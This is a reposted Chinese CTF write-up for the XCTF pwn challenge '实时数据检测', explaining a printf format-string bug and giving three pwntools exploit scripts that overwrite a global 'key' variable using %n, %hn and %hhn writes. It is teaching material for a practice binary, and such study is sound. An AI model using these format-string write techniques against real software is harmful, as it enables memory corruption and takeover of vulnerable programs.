ToB企服应用市场:ToB评测及商务社交产业平台

标题: 攻防世界pwn题:实时数据检测 [打印本页]

作者: 莫张周刘王    时间: 2022-6-23 09:10
标题: 攻防世界pwn题:实时数据检测
0x00:查看文件


一个32位的文件,canary、NX、PIE保护机制均关闭。
 
0x01:用IDA进行静态分析


程序很简单,输入一串字符(个数限制:512),然后再输出。最后根据key变量进行条件语句执行。
在imagemagic函数中用printf(format)进行输出,大概率有格式化字符串漏洞。因为key的地址在bss段:0x0804A048,所以试试用格式化字符串漏洞进行覆盖。
 
检测一下是否可以对随意地址进行覆盖:

有重复的,位于第12个参数。重复的原因是因为s是定义在了栈上。
payload = p32(key_addr) + b'%035795742d' + b'%12$n'
 
0x02:完整EXP
  1. from pwn import *
  2. context(os='linux', arch='i386', log_level='debug')
  3. io = process("./datajk")
  4. #io = remote("111.200.241.244",65079)
  5. key_addr = 0x0804A048
  6. payload = p32(key_addr) + b'%35795742d' + b'%12$n'
  7. io.sendline(payload)
  8. io.interactive()
复制代码
远程的话大概要几分钟输出,本地的话快一点。这种方法看着就很粗鲁,但很简单。
 
0x03:使用标志进行改进

上面因为%n是写入4字节数据,所以就直接写整个数,导致要输出大量数据才可以满足。但带格式化字符串中有那么两个标识:
 
使用h标志进行改进:

要使key=35795746(0x0222 3322),因为程序为小端序,高字节存储在低地址。所以就是要使key_addr处为0x3322,key_addr+2处为0x0222。
  1. from pwn import *
  2. context(os='linux', arch='i386', log_level='debug')
  3. #io = process("./datajk")
  4. io = gdb.debug("./datajk")
  5. key_addr = 0x0804A048
  6. #35795746 == 0x02223322
  7. #num1 = 0x222 0x222 == 546
  8. #num2 = 0x3322 0x3322 == 13090; 12544=13090-546
  9. payload = p32(key_addr) + p32(key_addr + 2)
  10. payload += b'%0538d' + b'%13$hn'
  11. payload += b'%012544d' + b'%12$hn'
  12. io.sendline(payload)
  13. io.interactive()
复制代码
注:用%n写入数据的顺序要从写入数值小的开始。
前面已经输出了两个地址,占了8字节,所以0x222要减去8为538。后面的12544同理,要减去已输出的量。
 
使用hh标志进行改进:

将0x02223322拆分成\x02 \x22 \x33 \x22(地址:high -> low),按数值从小到大依次写入。
这时要灵活的改变‘覆盖地址’的参数位了,可以先看一下wiki中的这个页面的‘覆盖小数字’:
https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-exploit/#_14
 
exp里面的a主要用于调参数位(按4调整)。由于这里调动比较灵活,同时代码不唯一,但大概思想不变。所以就不做多解释了,有问题可以在评论区提出。
  1. from pwn import *
  2. context(os='linux', arch='i386', log_level='debug')
  3. io = process("./datajk")<br>key_addr = 0x0804A048
  4. #0x02 22 33 22 (high -> low)
  5. #input 0x02
  6. payload = b'aa%15$hhnaaa' + p32(key_addr + 3)
  7. #input 0x22(two)
  8. payload += p32(key_addr + 2) + p32(key_addr) + b'%017d%16$hhn' + b'%17$hhna'
  9. #input 0x33
  10. payload += p32(key_addr + 1) + b'%012d%23$hhn'
  11. io.sendline(payload)
  12. io.interactive()<br>
复制代码
 
0x04:感触

没有绝对安全的系统!
 
tolele
2022-06-16 
 

来源:https://www.cnblogs.com/tolele/p/16381683.html
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4